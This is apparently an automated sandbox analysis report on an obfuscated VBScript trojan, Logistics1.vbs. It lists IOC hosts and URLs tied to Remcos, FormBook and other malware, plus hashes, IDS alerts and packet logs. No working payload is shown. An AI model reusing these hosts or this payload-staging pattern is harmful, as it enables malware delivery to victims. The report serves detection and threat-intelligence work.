Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Logistics1.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@17/7@2/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 91% Number of executed functions: 25 Number of non-executed functions: 237
Cookbook Comments:	Found application associated with file extension: .vbs Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7792 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7892 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8004 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:28:57	API Interceptor	44x Sleep call for process: powershell.exe modified
03:29:27	API Interceptor	3x Sleep call for process: appidtel.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2uvi/
	lWfpGAu3ao.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/71nl/
	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/VO2TX
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/fOmsJ2bL/download
	NARLOG 08.10.2024.exe	Get hash	malicious	FormBook	Browse	www.thetahostthe.top/9r5x/
	RFQ 245801.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?9rm4ULV=iDjdFcjw5QZJ8NeJJL4ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+m2NwmP2xDXw&D4hl2=fT-dvVK08nUDKdF
	74qgPmarBM.exe	Get hash	malicious	Pony	Browse	kuechenundmehr.com/x.htm
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/ttiz/
207.241.227.242	n92fR6j8tl.rtf	Get hash	malicious	Remcos	Browse
	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse
	asegurar.vbs	Get hash	malicious	Unknown	Browse
	Maersk BL, IN & PL.xls	Get hash	malicious	Remcos	Browse
	QPS-36477.xls	Get hash	malicious	Remcos	Browse
	ordin de plat#U0103.docx	Get hash	malicious	Remcos	Browse
	SWIFT 103 202410071519130850 071024.pdf.vbs	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	188.114.96.3
	SWIFT 103 202410071519130850 071024.pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	188.114.97.3
	Payment.vbs	Get hash	malicious	FormBook	Browse	188.114.96.3
	PAYMENT SPECIFIKACIJA 364846637-pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.97.3
	k4STQvJ6rV.vbs	Get hash	malicious	XWorm	Browse	188.114.97.3
	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	Urgent Purchase Order (P.O.) No.477764107102024.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
ia600102.us.archive.org	n92fR6j8tl.rtf	Get hash	malicious	Remcos	Browse	207.241.227.242
	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	207.241.227.242
	asegurar.vbs	Get hash	malicious	Unknown	Browse	207.241.227.242
	Maersk BL, IN & PL.xls	Get hash	malicious	Remcos	Browse	207.241.227.242
	QPS-36477.xls	Get hash	malicious	Remcos	Browse	207.241.227.242
	ordin de plat#U0103.docx	Get hash	malicious	Remcos	Browse	207.241.227.242
	SWIFT 103 202410071519130850 071024.pdf.vbs	Get hash	malicious	Remcos	Browse	207.241.227.242

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INTERNET-ARCHIVEUS	n92fR6j8tl.rtf	Get hash	malicious	Remcos	Browse	207.241.227.242
	SWIFT 103 202410071251443120 071024-pdf.vbs	Get hash	malicious	Remcos	Browse	207.241.227.242
	asegurar.vbs	Get hash	malicious	Unknown	Browse	207.241.227.242
	Maersk BL, IN & PL.xls	Get hash	malicious	Remcos	Browse	207.241.227.242
	QPS-36477.xls	Get hash	malicious	Remcos	Browse	207.241.227.242
	ordin de plat#U0103.docx	Get hash	malicious	Remcos	Browse	207.241.227.242
	SWIFT 103 202410071519130850 071024.pdf.vbs	Get hash	malicious	Remcos	Browse	207.241.227.242
	beNwFiUxpf.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	207.241.227.240
	e6y2SzRzyr.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
	Wg3tf5MIzS.vbs	Get hash	malicious	PureLog Stealer	Browse	207.241.227.240
CLOUDFLARENETUS	Quarantined Messages(11).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://w7950.app.blinkops.com/	Get hash	malicious	Unknown	Browse	104.16.117.116
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	PO-95958694495545.xls	Get hash	malicious	Remcos	Browse	188.114.96.3
	zYlQoif21X.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	172.67.206.204
	MV STARSHIP AQUILA_pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	104.21.56.207
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse	172.66.0.227
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://aboriginal-investment-proposal.squarespace.com/	Get hash	malicious	Unknown	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	5y3FUtMSB5.exe	Get hash	malicious	Quasar	Browse	188.114.96.3 207.241.227.242
	Rechnung0192839182.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3 207.241.227.242
	https://subsale24h.com/	Get hash	malicious	Unknown	Browse	188.114.96.3 207.241.227.242
	https://unscsupply.goshopgaming.com/?bypass-cdn=1	Get hash	malicious	Unknown	Browse	188.114.96.3 207.241.227.242
	https://krebsonsecurity.com/2024/10/patch-tuesday-october-2024-edition	Get hash	malicious	Unknown	Browse	188.114.96.3 207.241.227.242
	p61Wb0tocl.exe	Get hash	malicious	XWorm	Browse	188.114.96.3 207.241.227.242
	432mtXKD3l.exe	Get hash	malicious	XWorm	Browse	188.114.96.3 207.241.227.242
	sUdsWh0FL4.exe	Get hash	malicious	XWorm	Browse	188.114.96.3 207.241.227.242
	1yvSMiC8Jt.exe	Get hash	malicious	XWorm	Browse	188.114.96.3 207.241.227.242
	WCA-Cooperative-Agreement.docx.exe	Get hash	malicious	Babadeda, Exela Stealer, Python Stealer, Waltuhium Grabber	Browse	188.114.96.3 207.241.227.242

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0zhdkvmj.trw.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b44hbydq.r5a.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c4njhxmt.mxe.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dwendzpd.511.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f2tv5igq.3qj.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nzmg0ah5.b2y.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF, CR line terminators
Entropy (8bit):	3.737039734314224
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	Logistics1.vbs
File size:	197'102 bytes
MD5:	932031ace12970e0b4ebbf866caebf8d
SHA1:	83c48bf1a066adf5c8a32cb14187af5697778b5c
SHA256:	5fd68faf4d253cd50d2598eba5fe49f80899ba8c0fc613763a790f6132ecf071
SHA512:	f3ae6b322f1faf2588ada44c583b4a330e59e1faf5a2ba3a96a369e56252a86f9432f7b06b13861582e35e7f053516359849cda7884eefd581d3513f9b3f0e09
SSDEEP:	3072:i1/N2uHfR+PAG9ROfZUZgt5pCGwkZ6776HCLDkuOgtPXbkDuOVKaq4D8g:itNhHZYR4G7EfgtPgiRCf
TLSH:	DD14390226EA7008F1F32F569AF959B84F77B959693D821D648C1E4E1BE3E80CD117B3
File Content Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .m.e.r.e.n.d.i.b.a.(.a.p.a.t.i.f.a.r.,. .v.a.s.s.o.u.r.a.r.,. .c.h.r.o.n.i.c.a.m.e.n.t.e.,. .r.e.b.o.q.u.e.i.r.o.,. .v.i.d.a.)..... . . . .d.i.m. .f.i.l.t.e.r..... . . . .d.i.m. .d.i.a.l.e.c.t..... . . . .d.i.m. .e.....

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-10T09:29:05.015472+0200	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	1	207.241.227.242	443	192.168.2.8	49706	TCP
2024-10-10T09:29:06.325617+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.8	49708	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 09:28:59.569032907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:28:59.569077969 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:28:59.569298983 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:28:59.578166962 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:28:59.578185081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.341352940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.341417074 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.345323086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.345330954 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.345557928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.357270002 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.399410009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.626171112 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.626199961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.626226902 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.626265049 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.626286983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.626312017 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.626336098 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.649374962 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.649393082 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.649451017 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.649462938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.649501085 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.649519920 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.692102909 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.692120075 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.692222118 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.692231894 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.692276001 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.737251997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.737268925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.737373114 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.737395048 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.737432003 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.738456011 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.738471985 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.738521099 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.738529921 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.738550901 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.738574982 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.740083933 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.740102053 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.740153074 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.740159988 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.740197897 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.803263903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.803296089 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.803376913 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.803416967 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.803440094 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.806941986 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.826050997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.826080084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.826201916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.826232910 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.826867104 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.826894045 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.826937914 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.826946974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.826968908 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.827003002 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.828155994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.828176975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.828227043 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.828233004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.828273058 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.829117060 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.829134941 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.829181910 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.829186916 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.830130100 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.830156088 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.830208063 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.830214024 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.830240011 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.830265999 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.869071007 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.869096994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.869194984 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.869225979 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.874017954 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.891782999 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.891804934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.891875982 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.891901970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.891940117 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.914431095 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.914458036 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.914506912 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.914536953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.914549112 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.914912939 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.915191889 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.915209055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.915246964 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.915252924 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.915273905 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.915288925 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.915630102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.915657997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.915699959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.915705919 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.915764093 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.915838003 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.916491985 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.916511059 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.916546106 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.916555882 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.916580915 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.916599035 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.916759014 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.916781902 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.916821003 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.916827917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.916855097 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.916882038 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.917578936 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.917597055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.917639971 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.917645931 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.917669058 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.917687893 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.957715034 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.957746983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.957823038 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.957834005 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.957880020 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.980519056 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.980552912 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.980626106 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.980654001 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:00.980673075 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:00.982938051 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.003963947 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.003992081 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004093885 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004129887 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004148006 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004297972 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004322052 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004357100 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004364967 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004383087 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004415989 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004687071 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004704952 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004756927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004765034 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004777908 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004801989 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004864931 CEST	443	49706	207.241.227.242	192.168.2.8
